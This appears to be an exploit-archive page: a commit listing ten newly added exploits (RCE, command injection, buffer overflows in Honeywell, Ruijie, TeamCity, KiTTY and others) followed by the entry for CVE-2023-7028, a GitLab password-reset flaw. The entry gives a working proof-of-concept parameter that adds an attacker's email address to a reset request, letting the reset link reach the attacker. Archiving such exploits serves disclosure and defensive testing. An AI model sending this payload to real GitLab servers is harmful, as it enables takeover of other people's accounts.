2af1700331
10 changes to exploits/shellcodes/ghdb Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE) Ruijie Switch PSG-5124 26293 - Remote Code Execution (RCE) SolarView Compact 6.00 - Command Injection Viessmann Vitogate 300 2.1.3.0 - Remote Code Execution (RCE) GitLab CE/EE < 16.7.2 - Password Reset JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE) KiTTY 0.76.1.13 - 'Start Duplicated Session Hostname' Buffer Overflow KiTTY 0.76.1.13 - 'Start Duplicated Session Username' Buffer Overflow KiTTY 0.76.1.13 - Command Injection
12 lines
No EOL
452 B
Text
12 lines
No EOL
452 B
Text
# Exploit Title: GitLab CE/EE < 16.7.2 - Password Reset
|
|
# Exploit Author: Sebastian Kriesten (0xB455)
|
|
# Twitter: https://twitter.com/0xB455
|
|
|
|
# Date: 2024-01-12
|
|
# Vendor Homepage: gitlab.com
|
|
# Vulnerability disclosure: https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
|
|
# Version: <16.7.2, <16.6.4, <16.5.6
|
|
# CVE: CVE-2023-7028
|
|
|
|
Proof of Concept:
|
|
user[email][]=valid@email.com&user[email][]=attacker@email.com |